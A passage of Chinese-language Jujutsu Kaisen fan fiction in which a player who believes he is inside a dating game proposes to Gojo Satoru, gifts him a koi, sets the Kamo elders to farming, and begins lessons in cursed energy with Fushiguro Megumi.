连呼吸声都瞬间消失的寂静。 话音落地的那一刹那,所有望向羽取一真的眼睛都瞪到几乎脱框。 包括加茂长吉和他身后的仆人。 尤其是加茂长吉,他发现自己的身份突然从上门挑衅的打手,变成了上门求亲的媒婆。 而且,他的心里,还隐隐浮现出一股不平衡的怨念。 凭什么这个恶魔到加茂家是逼他们吃烂饭,来五条这小子的家里就是奔着结婚?? 还有没有道理可讲? 脸好看真的那么重要吗! 而被羽取一真求婚的对象——五条悟,表情同样罕见的有点呆住。 他原本有任务在身,并不打算参加这场晚宴,是听长老汇报加茂家特意打电话来告知他们将要选在今晚宴会前来挑衅,才不得不紧急赶回来坐镇。 结果是什么情况,这个新家主在用求婚来挑衅他吗? ……话说,求婚算挑衅吗? 应该是喜欢对方才会求婚的吧? 五条悟在与他人的情感上极少能构筑亲密关系,甚至在不久前,刚亲手斩断了唯一的羁绊。他罕见茫然了会,墨镜后的蓝瞳重新审视起面前这位陌生的新家主。 ——只不过,这次他不再抱着应付小喽啰的心态去打量羽取一真了。 墨色极深的黑发黑瞳,身高大约比他矮个一两公分,脸长得也不错……嗯,表情挺认真的,好像正在等他的回答呢。 要是再仔细观察他体内的咒力流动……呜哇,这个咒力量好低,大约就是个四级咒术师的水平吧,怎么看都只比普通人强一点而已…… 这也能当上既古板又传统的加茂新家主?真的假的,这帮老头终于不唯血统及术式论了? 总不可能是靠坑蒙拐骗坐上去的家主位置吧……? 五条悟盯着羽取一真看半晌,又去看跟在他身后的加茂长吉,再转回他身上。 来回几次之后,五条悟发现一点端倪。 “怎么只有长吉老爷子来了?”他疑惑出声,“喂喂,平时和你抱团在一块用下巴看人,语气很嚣张的另外几个老头呢?” 五条悟记得可清楚了,每次他搞出点什么动作,总会有那帮总监部的老头跳起来训斥他如何如何违反规矩。 但这问题瞬间把加茂长吉问得哽住,一个字也憋不出来。 他要怎么回答,另外几位吃了一肚子酸萝卜硬饭,还被强迫在加茂家挖地种菜,现在腰酸背疼腿抽筋,正趴床上涂药膏吗? 这话说出来简直是丢了大脸,他死也要守护加茂宗家的尊严!! “我下午安排他们在庭院里开垦土地种菜,” 羽取一真没等加茂长吉憋出一个合理的解释,干脆利落的答道。 “现在工作结束,是休息时间。” “…………” 五条悟以为自己听错了。 “……开垦土地种菜?他们?” “嗯,就在家里的庭院种,不浪费土地。” 羽取一真微微点头。 “我还买了间店面,等菜成熟后,他们还会负责把种出来的菜运到店里卖钱。” “…………” 听完解释的五条悟惊到身体都坐直了。 加茂长吉:“…………” 啊啊啊啊啊这个恶魔竟然就这么实话实说了!!! 满座哗然,又不敢大声哗然,小声的议论简直此起彼伏,纷纷猜测羽取一真这样做的用意。 加茂家忽然冒出一位新家主已经很让人吃惊了,没想到这位新家主竟然直接安排长老在家里种菜! 这算是新任家主的下马威吗?忠诚度的另一种考验形式? 他难道不担心报复吗? 这具身体的听力很好,羽取一真自然能将这些议论听得清清楚楚。 不过,他的想法是——这款游戏的npc确实很拟真,竟然还会根据他的话作出不同的反应,了不起。 而这些议论声,在五条悟迟迟没有开口前,也逐渐安静了下去。 大家都在等待五条悟被求婚的回应。 到底是发怒到直接把对方打出去,还是一口回绝后把对方打出去,还是先请对方出去再把他打一顿? 无论是哪种,堂堂[最强]咒术师、心高气傲的五条悟,怎么说也不可能同意一个不知道从哪里来的毛头小子的荒唐求婚吧! 在那安静的等待里,羽取一真听见五条悟开口,却是先漏出了一点低低的轻笑。 逐渐的,那笑声越来越明显、越来越畅快,在这间宽敞的正殿内回荡,就像一场烦闷已久的骤然宣泄。 有趣、真的太有趣了! ——羽取一真好似听懂了这笑声中的含义。 于是,在那笑声停歇下来后,羽取一真听见了五条悟的回答。 “好啊。” 他说。 “!!!!” 这下,换在场所有人都惊到上半身战术后仰。 开什么玩笑,这居然也能答应!? 这算什么,五条家和加茂家的家主联姻了吗!?!! 加茂长吉也随之倒抽一口气。 真不愧是惯常离经叛道的五条悟,答案总是这样出人意料…… 正走神了片刻,就听见五条悟又笑眯眯的开口问这位恶魔家主。 “你叫什么名字?” “我叫……” 羽取一真正要开口回答他给自己取的游戏昵称,站在他身后的加茂长吉瞬间悍然出手,一把拉住。 够了,你能求婚成功已经很离谱了,难道还要把这个离谱又荒谬的名字说出来吗! 就算刚才会答应,那个名字一出也会被五条悟当场打出门吧!连带他们在内! 主要是他完全不想卷入这场无妄之灾,更是一点都不想要让外界知道他们的新家主名字竟然叫[英俊的爸爸]! “他就叫……加茂家主。” 加茂长吉坚定开口道。 羽取一真略惊讶的挑眉望去,发现加茂长吉竟然真的规避了[强制叫出昵称]的游戏机制,把【加茂家主】当成他的名字叫出口。 啊……因为【加茂家主】是他的头衔称呼吗?所以加茂长吉用了一招迂回的办法,把头衔称呼强行当成名字来喊。 这些npc,没想到设定得还挺聪明的。 不过,因为眼前的是漂亮大悟而不是小悟,他确实也不太适合用[英俊的爸爸]这个游戏昵称了。 但是现在要换也来不及了,只能等下一周目。 “加茂家主?” 五条悟眨了下眼,“还有人会直接叫这名字?那父母还真是对你寄予厚望耶。” 就是不清楚这个长吉老头,到底知不知道眼前这位家主的咒力水平其实特别低……打起来估计坚持不了多久。 嗯,为了今后还能亲眼见证这帮顽固老头继续受苦受难,这点他可得帮人隐瞒好。 毕竟拥有[六眼]的在这世上只有他,其余人无法像他这样,能凭肉眼直观看见咒力的流动。 “可以这么喊我。” 见羽取一真没有出声反驳,而是认下了【加茂家主】这个名字,加茂长吉简直是长舒一口气,有种从死亡线上勉强拉回了一条性命的虚脱感。 原本还指望五条悟给这小子一点教训,但在这场离大谱的求婚成功后,他现在只希望自己不会被分配去种菜……给家主跑跑腿挺好的,他一点也不介意。 “这样哦——那么,” 五条悟也没有深究,而是点了点脑袋,继续笑着托腮看向羽取一真。 “你一定懂的吧?结婚呢,是需要两个人互相喜欢的。” 羽取一真表示理解。 “现在呢,你是特别喜欢我啦,这点我很明白了,” 五条悟用另一只手,在他们二人间来回比划了下。 “但是我还不喜欢你哦,”他说,“所以呢,这场求婚只能算成功了一半。” “你还要继续加油才行——” 噢。 羽取一真恍然。 毕竟就算是普通的恋爱攻略游戏,也得攻略角色的好感度达到一定条件,才会触发结婚剧情。 这么一思考,五条悟的回答就很合理了。 不仅很合理,他甚至在一开始都没有直白的拒绝,而是非常委婉的提醒了他这点。不愧是漂亮xiao…大悟! 【求婚:恭喜您,基于您迫切与目标产生亲密互动的需求,提前触发好感度模块解锁。现在,您可以通过各种方式,增加目标人物对您的好感度了。 请注意,人物的好感度会继承部分至下周目。 当前,与您有过接触的人物按好感度排列如下: 五条悟:5; 加茂宪纪:-10; 加茂长吉:-100; 加茂乃吉:-100; 加茂平七:-100; ……】 底下那溜-100,全是羽取一真连请五十多顿饭,吃出来的究极负好感度。 不过,羽取一真也不是很在意这帮老头npc的好感度就是了。 能给他干活就行了,要什么好感度,他又不是冲着这帮老头来玩的游戏。 关掉弹窗,羽取一真很痛快地点头,“没问题。” 不就是刷好感度吗,他很在行。 以为眼前的加茂家主会是相当执着的性格,竟然在这时候突然又变得这么好说话,还以为他会生气或失落的五条悟甚至都感到些许惊奇。 “你能理解就再好不过啦,” 既然对方非常好沟通,再加上原先误以为是挑衅的危机解除,五条悟顺势换了个更放松的姿势,话语也变得懒洋洋的。 “看在你是特意过来的份上,留下来一起参加宴会也可以……欸?这是什么?” 五条悟愣愣盯着羽取一真径直走过来,抬手不知道从哪里掏出的,放在他餐台上的东西。 它还是活的,在甩着尾巴使劲扑腾。 “我今天钓上来的,最贵的鱼。” 羽取一真的语气认真,看向他的表情里甚至还透出点期待。 “送给你。” 五条悟擦了擦墨镜上的水珠,缓慢在头顶,打出一个问号。 “……?” 6、第 6 章 最贵的鱼…… 所有人的目光都默默汇聚到那条在桌案不停扑腾的鱼身上。 今天这一晚上的所见所闻实在过于超出想象,以至于他们一时之间完全不知道该评论什么。 为什么加茂家会换新家主? 为什么这位新家主特意跑来向五条悟求婚? 为什么求婚竟然还能成功……一半? 而现在……这个叫【加茂家主】的加茂家主,竟然当场掏出一条活鱼送给五条悟啊! 加茂长吉抬手扶住脑袋,简直感觉自己的身体正摇摇欲坠、眼前发黑。 而且仔细一看,那不就是条他们养在池塘里的特别繁育品种——银松叶锦鲤吗! 贵确实是贵,但怎么能就这样直截了当地拍在人家的餐台上……遑论价值还不如他身后仆人手里拎着的礼物的五分之一! 五条家想要这种鱼的话,想买多少条都没问题啊! 没准他们现在池塘里游的,和这条已经在垂死挣扎的鱼还是同一品种…… 加茂长吉很想一个箭步冲上去把那条鱼收回来,然后换成他安排人精心准备的好礼。 没错,即使他误以为原本前来五条家的目的是挑衅,他也绝不会在这种细节上失了加茂宗家的面子。 但此刻,掏出那条活鱼的,是那位动辄请人吃烂饭加下地种菜的恶魔家主。 加茂长吉只能忍气吞声,做好心理准备,接受加茂家接下来会被五条悟大肆嘲笑的命运。 而羽取一真并没有五条悟的困惑,进而自我怀疑是不是礼物送的有问题。 应该说,在没有试探出明确的增减好感度物品前,就只能把物品栏里能送的东西都送一遍。 他玩这游戏还没有多久,目前仅有的收获是下午钓到的鱼——他特意留在物品栏里没卖,就是担心以防万一还有其他用途。 而且,他是真的认为这条鱼很适合五条悟。 “我在钓殿里坐了好久好久,才钓上来这条的。” “它不算很值钱,但很漂亮,颜色也和你的头发很像。送给你。” ——他这么说着,将鱼又轻轻往漂亮大悟的方向推了一下。 “所以你才花时间亲自……钓给我?” 五条悟脸上的困惑在听完羽取一真的解释后,变得似乎有些难以相信。 他垂下视线,又望向这条锦鲤——即使现在处于半死不活的缺氧状态,也难以否认它被培育得极为漂亮。 通体银白的光泽柔和且细腻,鳞片则沿着背部及两腹部铺陈开来,宛若一片片精巧的银制松叶,不愧被誉为“游动的宝石”。 而此刻,跃动在他眼底这份鲜活的、具有生命力的绚丽银白,落在眼前这位新上任的加茂家主口中,竟然是为了用来称赞他的发色。 他被夸奖了。 不是会被排斥的、过于强大的力量,而仅仅只是像头发这样,在其他人眼里根本无关紧要的细节。 甚至…… “这是为我准备的惊喜礼物?” 五条悟抬起视线,又向羽取一真确认了一遍。 “嗯。” 羽取一真肯定道,并且在略作停顿之后,又提前向这位漂亮大悟发出预告,好让他提前有个心理准备。 “我以后还会送更多的,不止是鱼。” 只要是系统允许送给五条悟的礼物,他都要送个遍。 毕竟,不送一下怎么知道能不能加好感。 站在身后的加茂长吉听见这话,已经是连当场切腹而死的心情都有了。 堂堂加茂家主,在求婚五条家主后送的礼物竟然是一条从池塘里钓出来的鱼,也未免太侮辱人了啊,丢脸又失礼…… ——但,五条悟并没有如加茂长吉心里预想那般,当场发怒。 甚至,他的唇角逐渐上扬、翘起,朝这位新上任的加茂家主,露出了一个相当高兴的生动表情。 “原来是你在来这里之前,特意花费时间钓给我的啊?难怪它还活着呢。” 五条悟笑着开口,语气轻快又活泼。 “我从来没收到过这样用心的礼物——嗯,这次算你合格哦,我就试着养起来好了,养一下试试看。” 与此同时,半透明的弹窗出现羽取一真的眼前。 【五条悟好感+6】。 管用! 羽取一真的黑瞳顿时一亮,“我明天就再给你钓十条过来……” 好感度不得瞬间给他加60? 五条悟:“……喂等下,不需要这么多条!” 特意准备的惊喜礼物是送得他挺开心啦,但这小子怎么就突然顺杆往上爬了! 看来好感度物品不能重复赠送累加。 羽取一真很是遗憾的“哦”了声,在所有人不敢置信到全程瞪大眼的瞩目里,挑了张离五条悟的最近空位坐下。 这是在加茂长吉打电话过来后,五条家特意给他们预留出来的餐台位置。 相比加茂长吉连吃五十多顿的酸萝卜硬饭,五条家准备的晚宴可就丰富多了;哪怕同样是一人一餐台,上面也摆满了装有各种食物的精致碗碟,一看就是出自大厨之手,精心烹调。 羽取一真尝试动筷吃了一口,发现自己竟然能尝出味道,游戏还配合弹出【体力值增加】的提示——不过他进游戏以来还没战斗过,所以加了也是白加。 不愧是划时代的游戏,连进食都做得如此逼真…… 幸亏中午他没跟着吃1金的饭,一看就不好吃。 至于坐在后面的加茂长吉,简直都要掉下眼泪。 没有对比就没有伤害,吃过那寒酸硌牙的烂饭后再吃顿普通的食物,竟然让他感觉如此美味…… 五条悟让人把那条已经在垂死挣扎的银松叶锦鲤赶紧放去鱼缸里养起来,自己则撑着脑袋,心情愉快地看向羽取一真。 “如何?饭菜还合口味吧?啊对了对了,我记得加茂家应该是今天中午举办正月饗宴来着,” 他笑眯眯的问羽取一真,口吻与措辞都相当随意,半点家主的架子也没有。 “你觉得哪边厨师做的比较好吃?” 加茂长吉霍然抬头。 但是,已经晚了。 漂亮大悟问出来的问题,羽取一真自然是有问必答——谁知道哪个就是关系到好感加减的关键问题呢。 “你这边的比较好吃。” 羽取一真格外诚实,“因为加茂家的饗宴厨师,是我安排的。” 五条悟好奇“嗯?”了一声,“那人做的不好吃?” 其余人坐在各自的位置上,看似正低头认真品尝美味食物,耳朵却迅速的悄悄竖起。 今晚的一切经历都是如此新奇,而且都是由这位加茂新家主带来的。 虽说他们的五条家主也给出了一臂之力。 “倒也不能说好不好吃,因为我没吃……” 羽取一真迟疑着开口说道,“不过,毕竟只有腌萝卜、白米饭和味增汤,所以应该是不好吃的吧。” ——他沉吟片刻,转头问坐在他下首的加茂长吉。 “长吉,你每样都有吃五十多碗,说说看好不好吃?” 加茂长吉:“………………” 这个恶魔,还好意思问! “……五十多碗腌萝卜、白米饭和味增汤?” 五条悟睁大眼睛,“加茂家是要破产了吗?” “为了省钱。” 羽取一真的口吻格外认真,“毕竟是我请客。” 主要是省他的钱。 加茂长吉绝望的捂住脸,觉得加茂家以后已经没脸在咒术界继续混下去了。 他甚至已经听到坐在不远处的五条家族人,吭哧吭哧憋着笑但又忍不住的滑稽声音。 但五条悟才不会进行表情管理。 他都快笑死了。 “你说得太对了,省钱,必须要省钱!” 五条悟的语气堪称是喜气洋洋,他大手一挥。 “光是加茂宗家的庭院有点小了吧?要不我把五条家的庭院也给你,你让他们一起开垦了种菜怎么样?” “真的吗,这么好?” 羽取一真对漂亮大悟的好感顿时暴涨一大截,仿佛听见了金币叮叮到账的音效。 这下不止加茂长吉,五条家的人也笑不出来了。 谁要把好好的宗家族地变成垦荒菜地啊! 但他们打不过五条悟,而五条悟是家主。 在这顿晚宴上,只有五条悟和羽取一真没有受伤害的世界达成了。 转天,目露绝望的加茂长老们扛着锄头,准时站在五条家的庭院里,和五条家的长老们面面相觑。 五条家的长老们简直难以抑制住这份震惊,“你们竟然当真如此听话,说过来种菜就种?而且还是亲自??” “别提了……” 加茂乃吉深吸口气,想要工作的身体却不听他使唤,还得边挖地才能边和他们交流情报。 “那个家主安排的事情,我们没办法拒绝。” “竟然是那么恐怖的存在……” 五条家的长老难以想象,“莫非是比五条悟还要厉害的咒术师?” “不清楚,”加茂乃吉说,“就目前我等了解到的,似乎是一种精神强制性的规则类术式,实力非常恐怖……老夫听说他昨晚来向五条悟求婚还成功了?” 五条家的长老沉痛应了声。 “你知道的,乃吉。我们根本拿五条悟没办法,他是一贯的随心所欲、恣意妄为。” 加茂乃吉也跟着表情恼恨,还因为腰酸而间歇性龇牙咧嘴。 “到底该用什么办法,才能除掉这个恶魔……” 至于此刻,被他们称为【实力非常恐怖】的羽取一真,正在尝试让五条悟同意组队带他去刷副本……不是,出任务。 “我也要去。” “……你是想立刻被准一级咒灵拍成饼吗?” 7、第 7 章 羽取一真是跟着长老们一起过来五条家的。 大概连那帮长老们都没想到,五条悟说送五条家的宅邸庭院就真送,羽取一真说开垦种菜也是转天就安排他们过来开垦送菜,一秒钟就不耽误。 这些好不容易能休息一晚上的老头,第二天就发现自己在家里种菜丢人还不够,竟然还要跑去五条家那帮老友面前种菜丢人! 他们扛着锄头的手都在哆嗦。 这倒不全是被气得,还有昨天干活累得。 但他们是真的很想破口大骂,怒声质问这两个不着调的家主——懂不懂什么叫礼节性的客套话啊,客套话! 真是一个敢送,一个敢收! 可被那双漆黑的眼瞳盯着,他们又只能忍辱负重,扛着锄头心不甘情不愿,又好似口嫌体正直般,认命地开始给五条家的庭院挖土垦地。 碍于五条悟那不容置喙的强大力量,以及他惯常说一不二的家主作风,五条家的长老再不忿也只能跟着认命,目睹好好的庭院被几锄头刨得一片狼藉。 他这片造价不菲的枯山水啊,毁了,全毁了…… 与庭院里热火朝天的干活景象不同,五条悟所在的寝殿格外安静,此刻的羽取一真正站在门外,尝试跟对方讨价还价。 “我也可以去打……嗯,准一级咒灵。”羽取一真说。 “……”五条悟墨镜后的蓝瞳微眯,瞬间听出疑点,“你啊,该不会连咒灵这个单词都没有听过吧?” 不然怎么连复述这个单词都能磕巴一下。 “确实没有。”羽取一真老实承认。 毕竟是这款游戏的新名词,而他又恰巧在使用skip(跳过)上非常熟练——开场动画?跳过。新手教程?跳过。 能跳过的地方全部跳过,讲究的就是一个直接进游戏开玩。 反正再不懂的地方,玩两把就会了,谁要听那讲话语速又慢、内容还罗里吧嗦的一长串。 比如这个【咒灵】什么的……在羽取一真心里,基本和【怪】划上了等号。 打低阶咒灵等于刷野外小怪等于涨经验升级。 而打高阶咒灵,那就等于刷精英副本,不仅升级,还会有概率掉落装备和材料。 除了名词不同,其他的都很好理解。 既然如此,羽取一真当然不会放过和五条悟组队刷副本的机会——这基本就等于有大佬负责输出,他辅助,顺带蹭蹭升级经验,再蹭蹭大佬不要的材料。 只是,五条悟可不这么认为。 就算他不知道这位青年是怎么当上的加茂家主,但[六眼]提供的情报可是不会骗人的,对方就是一个弱鸡到不行的四级咒术师,是只比普通人厉害一点点的最低级。 要说对方的优点……那就是眼光不错。 “我说哦,就算你相信我可以全程保证你的安全这点,让人感觉心情不错,” 五条悟向羽取一真晃了晃手指,声音的尾调拖得长长的,透出一点出乎意料的诧异。 “但你竟然连咒灵这种概念都没有听过,真是让我有点吃惊——不过嘛,吃惊这件事先放一边。” “你现在成为了加茂家主,可是会有很多人盯着你的一举一动……嗯,怎么说也要先从咒力的概念开始了解吧?接着呢,需要了解御三家和总监部之类的……” 羽取一真:“…………” 他只想刷副本升级,顺带刷一刷五条悟的好感来着,一点也不想知道什么御三家、总监部之类…… 但显然,想要达到他[刷副本升级兼刷五条悟好感到结婚]的目的,了解这些基本的游戏设定是前提条件。 “那么,你的术式呢?” 五条悟继续向羽取一真了解情况。 “你知道自己有什么术式吗?” 羽取一真回忆了下他拥有的战斗技能,只有赤血操术标注了是[核心]。 “嗯……[赤血操术]。” “是加茂家的血脉祖传术式啊,难怪能当家主。” 五条悟点头。 不过,光有这个术式应该也未必能成为家主,那帮能占据总监部高层的当权者,各个老奸巨猾、古板又守旧,只用正常手段可没办法让他们心甘情愿做出这些格外辱没自尊心与体面的事情。 但既然羽取一真没透露,五条悟也不会特意开口追问——他并不是非要将对方的底牌全部扒拉出来不可的性格。 遑论到目前为止,对方的做事风格都很合他胃口。 “既然当上了新家主,怎么说也不能对咒术界一无所知,得找人给你紧急补个课。” 五条悟挑高了点眉梢,捏着下巴陷入沉吟。 “御三家相关的基础教育老师肯定不行,会向那些老头暴露你其实完全不了解咒术界兼咒力量只有四级水平的事实,连带身为家主的威信也会大幅度减弱,进而威胁到人身安全……” 毕竟那些老头被眼前这位青年折腾得挺惨,怎么说也不能小看他们的报复心。 羽取一真在认真听五条悟分析,“这样哦。” 其实只要服从度足够,他就一点也不担心那些老头们会不会叛变——而服从度嘛,只要请几次客就能涨起来。 “话说回来,现在是新年期间,学生都放假了啊,也不能随便打扰他们……” 五条悟忽然打个响指,口吻变得兴致勃勃。 “有了,我想到一个人——既能教你基础知识,又绝对不会泄露你的情况!” 羽取一真:“嗯……?” ………… “所以,你就把他带来我这里了?” 打开门的伏黑惠,看着眼前的五条悟以及他身边样貌陌生的青年,神情沉默。 “来来,我向你介绍一下,这位就是加茂家新上任的新家主哦,” 五条悟示意伏黑惠往羽取一真这边看,语调活泼又轻快,“名字就叫【加茂家主】——!” “…………”伏黑惠无语半晌,“…真的假的。” 名字就叫加茂家主的加茂家主?这听起来简直就是个漫才冷笑话。 “御三家指的是五条、加茂和禅院,”五条悟转而和羽取一真科普咒术界内的简单常识,“而这位呢,虽然名字叫伏黑惠,但其实是御三家之一,禅院家的人哦,继承的也是禅院家的祖传术式——【十种影法术】。” “哦。” 羽取一真也只是点了下头,和伏黑惠大眼瞪小眼,安静对视几秒后—— 嗯,他果然还是更喜欢五条悟的脸。 羽取一真迅速在心底做出结论。 伏黑惠:“…………” 总感觉微妙的输了哪里,又好像其实根本无所谓,但总之就是突然让人有点不爽。 “你大概有所不知,今天,还是属于新年假期。” 伏黑惠的目光转向五条悟,“我,还在,假期中。” 在一年一度的新年期间,依靠负面情绪生成的咒灵也会相对减少许多,是忙碌整年的咒术师难得能喘息片刻的宝贵假期。 虽说也会有咒灵生成,有时还会有诅咒师在这期间活动,但至少远不如平日那般忙碌。 “没办法啦,惠,”五条悟拖长声调,“老师我还有准一级咒灵要处理啦,暂时没空教他关于咒术界的基本知识嘛——你又正好比较了解,也不属于老头子那边的人——再说,你一个人过新年也很无聊吧?” 他说到最后那句时,声线骤然低了下去,是以一种相当认真的口吻说出的。 而伏黑惠的表情僵硬了片刻,才淡淡回答道:“不,并没有感到无聊。” “好啦好啦,来帮帮他,我很快就会接走的——” 五条悟不由分说按着羽取一真的肩膀,稍微将他往伏黑惠的方向推了一推,语气又变得笑眯眯的,带出一点调侃般的口吻开玩笑道。 “毕竟是加茂家主,可不能被说我把人拐走了啊。” 听到这句话,羽取一真立刻转过头看他。 “我不介意。” 五条悟:“…………” 伏黑惠睁大眼:“…………” 五条悟被羽取一真的这句话呛了下,才想起这位看上去气场偏冷的加茂家主,昨晚可是直接当着所有人的面向他大胆求婚的。 “咳,总之,你想要和我一起出任务,得先跟着惠学习基本的咒术常识与战斗技巧才行——别看惠的年纪不大,其实已经是可以独自出任务的二级咒术师了喔。” 在他这句话音落下后,羽取一真面前出现新的内容弹窗。 【委托:在游戏的各个角落里散落着不同等级的委托,达成后可获得相应的奖励。或者,您拥有一双敏锐的慧眼,能够发现某些不为人知的隐藏委托?】 【当前触发委托: 五条悟的期望:请在规定时间内,达成五条悟对您拥有的咒术常识与战斗技巧的要求。 咒术常识:5%/100%。 战斗技巧:0%/100%。 奖励:可解锁任务组队功能。】 羽取一真看得眼睛一亮。 原来想和五条悟组队刷副本,还得先完成他的委托才能解锁这个功能。 那个咒术常识的5%,估摸是把刚才介绍的御三家也包含在内了。 既然如此就没办法了,先在伏黑惠这里待一段时间,努力完成委托吧。 恋恋不舍的与漂亮大悟挥了挥手道别,帮忙关上门的羽取一真转身就见到伏黑惠正凝重端详着他。 “嗯?” “你……和那家伙是什么关系?” 伏黑惠皱起眉毛。 “想要(好感度刷满后)结婚的关系。”羽取一真坦荡道。 “我昨天向他求婚了,可惜只成功一半。” 伏黑惠:“……” 伏黑惠:“!?!?” 8、第 8 章 “求、婚……?” 伏黑惠震惊瞪着羽取一真,连复述时的吐字也无比迟疑,似乎在确认自己的耳朵是否出现了问题。 “和……五条、悟?” “没错。”羽取一真微微颔首,又想起眼前这位少年与五条悟很熟悉,便尝试向他打听情报。 “你知道五条悟喜欢什么吗,有没有可以透露给我的?” 最好是让他能够当礼物送出去的那种,猛猛刷一波好感度。 “…………” 这家伙,竟然是真的想要和那种恶劣性格的家伙结婚吗……眼睛和脑袋都没有问题吧…… 伏黑惠在绝大多数时间里都表现得处变不惊,拥有远超同龄人的成熟;但此刻的他却因这条消息而震惊到整个人都僵硬住,憋了半晌才吐出一句回答。 “我不清楚。非要说的话,经常能看见他吃甜食。” “啊甜食,了解。” 羽取一真记在心底,抬眼发现伏黑惠依旧是那副不敢置信的模样。 “怎么了?” “不……想说你挺有勇气的。” 伏黑惠沉默片刻,好似说服的其实是自己那般,又复述了遍。 “嗯,很有勇气。” “这样吗?” 原来他挑中的攻略对象是难度很高的那种?羽取一真沉吟。 游戏包装上除了漂亮小悟,确实还有另外几个人……但那上面甚至还有些长得奇形怪状的生物,不可能各个都是可攻略对象吧? 谁会想要攻略一个长着富士山头的奇怪生物?说是可击杀的精英boss他倒是相信。 至于宣传口号上面说的“爽快战斗体验”、“多条成长路径”之类,都被羽取一真选择性无视了。 游戏怎么设计是游戏的事,玩家想怎么玩是玩家的事。 “但我就是喜欢他(的脸),没办法。” 羽取一真抬眼,认真对伏黑惠开口说道。 伏黑惠倒吸口气,迎来今天的第二次震惊。 竟然是真的这么喜欢吗……而且语气和表情都这么坚定! “………这、这样吗。那随便你。” 伏黑惠抓了下头发,一时间竟不知道在眼前这位加茂家主所道出的真挚感情面前,他该作出什么样的反应才比较合适。 毕竟他眼下的年龄并不大,父母更是早在他年纪尚幼的时候就离家而去,抛弃了他和他的义姐伏黑津美纪。 要说什么才是“喜欢”,他完全没有体会过,甚至连旁观的机会都没有。 即使他在初中确实被学校的女生告白过,但那些青涩的悸动只是属于说出“喜欢”的女生,他自己的心底并没有产生任何波动。 因此,面对此刻坦荡荡说出“喜欢”,哪怕对方性格恶劣也毫不在乎的加茂家主,伏黑惠反而升起了一点小小的敬意。 这语气听起来,可不是闹着玩的啊……难怪求婚还能成功一半。 伏黑惠想到这里,思维忽然卡顿了片刻。 慢着……只要有一方拒绝、一方答应,求婚不就都能算是成功了一半吗? 这其实是五条悟在拒绝他的委婉说法吧? ……这份心底的敬意突然就转变成了怜悯与同情。 算了,还是先别打击对方的信心好了。 “虽然不清楚你是怎么当上的家主,但既然被他拜托了,我就从最简单的咒力与术式给你讲起吧。” 伏黑惠叹口气,让羽取一真先在客厅沙发上坐好。 “我去拿纸笔过来。” 羽取一真乖乖在指定位置上坐好,直至盯着伏黑惠的背影消失在楼梯间后,才目光一转,仔细打量起四周。 如果是用鼠标操控玩家的那类非全息游戏,羽取一真早就挨个把能交互的物品都摸一遍,看看介绍了。 但毕竟这游戏设计得如此真实,连npc的反应也更灵活,他自然不能干出未经同意就在别人家里到处乱翻的举动来,那样会显得他很不礼貌。 要是换成加茂家……庭院里的菜地就是最好的证据。 虽然伏黑惠住的是一户建,但这条街的楼栋互相之间紧挨,光照不足,再加上常年缺乏维护以及相当偏僻的位置,令它的外墙斑驳、护栏生锈、石砖缝生满青苔,是肉眼可见的老旧与破败。 但与外面所见不同,羽取一真所在的客厅十分干净,东西摆放整齐,电器款式偏旧但没有落灰;玄关柜、餐桌与茶几则铺着风格统一的碎花布——边缘镶有蕾丝,四角坠着流苏。 墙上还有一副相框,可惜照片已经被谁取下来了,现在只剩下一片空白。 结合刚才漂亮大悟说伏黑惠过新年一个人…… 羽取一真打赌这里绝对有隐藏支线。 嗯,但支线可以先放放,目前还是能和五条悟组队比较重要。 伏黑惠不愧是五条悟请来帮忙教他基础知识的老师,在纸上随意勾勒几笔,就能将这些基础概念讲解得格外详细。 像御三家、咒术高专、咒术总监部之类的实际势力划分,羽取一真听得很明白。 但类似咒灵的形成、咒力的流动、术式的使用之类,羽取一真就半懂半不懂了。 尤其是什么用心感受体内的咒力,控制它的输出,甚至可以尝试进行术式反转……他更是完全无法理解。 见羽取一真望向他的目光格外迷茫,伏黑惠叹口气,放下笔。 “还是让你亲自体会一下会比较快,[脱兔]。” 他将手背相叠、五指扣出一只竖耳兔子的手影——随即,数只白兔自他脚下的影子里一跃而出,蹲在地板上四处嗅嗅,看起来可爱又无害。 羽取一真看得惊叹:“哇哦……” “如何,有感知到这些兔子的咒力吗?”伏黑惠问他,“你可以用感知它的方式来内视自己的身体,去捕捉那些流淌其中的咒力。需要注意一点:不同的人,留下的咒力残秽也是不同的。” “完全没有感觉到有什么不同。” 盯着这几只兔子许久,羽取一真老实答道。 无论怎么看都只是普通的兔子而已。 “…………”伏黑惠沉默了,“你明明能看见我的兔子,却感知不到咒力?” 这要怎么教……对于咒术师而言,感知咒力就该像是呼吸一样自然而然的东西才对啊…… “没关系,”羽取一真反过来安慰他,“基本的理论知识我都懂了,除非咒灵长得和普通生物一模一样,否则我应该能辨认出来。” 反正在委托的详细界面里,他的咒术常识已经达到了100%/100%。 既然这个[了解基本剧情背景设定]的任务已达成,他也不需要再学下去了。 伏黑惠的表情变得更沉默,还有一点点无语。 “……认出来归认出来,你都不会控制咒力,要怎么祓除咒灵?” 羽取一真迟疑回道:“就普通的…祓除?” 毕竟他只是在玩游戏,又不是真正的【咒术师】,技能纯粹靠意念选择发动,游戏会辅助他完成攻击。 “…………” 这个人对待咒灵的态度超随便!简直比五条悟还要随便! 盯着眼前这位加茂家主的伏黑惠眉毛都挑高了,看上去格外不可置信。 “好吧,既然这样,我就带你去祓除下咒灵试试。” 过了片刻,他才站起身,示意羽取一真跟他走。 “虽说强大的咒灵并不多见、也极难对付,但弱小的蝇头到处都是。” 原来伏黑惠其实相当于战斗技能的新手引导吗?好贴心。 羽取一真欣然跟他离开。 “你还知道五条悟的其它情报吗?” 路上,他继续试图向伏黑惠打听,“比如哪个地方会待得久一点。我以为他会一直待在五条家的宅邸里,但他今天早上和我说他昨晚会回来只是特殊情况。” 既然漂亮大悟不是定点npc,那当然要摸清楚他的出没路线,才能高效率的刷满好感。 听到这句话的伏黑惠有点哽住,没想到这位在咒力方面完全不行的加茂家主,竟然是真的在考虑怎么追求被咒术界称为[最强]的五条悟。 话说,他这样到底是怎么当上的加茂家主…… “他是个大忙人,基本都是全国各地到处出任务,甚至海外也有。很难说他会长时间停留在哪里。” 虽然在脑海里默默吐槽,但伏黑惠还是回答了羽取一真的问题。 “不过,他是东京咒术高专的一年级班主任。非要说的话,等学期开始时,他会比较多出现在高专学校吧。” “那么,伏黑也在读东京的咒术高专?”羽取一真想了想,问他,“那所学校收不收我这个年龄的学生?” “………………” 伏黑惠闻言脚下一个踉跄,转头瞪着眼前这个怎么看都是二十多岁的青年。 “怎么想都不可能吧,你再年轻十岁才说不定有机会喂!而且我现在还是国中三年级,等四月份开学才会去高专上一年级。” 羽取一真有点失落,“这样啊。” 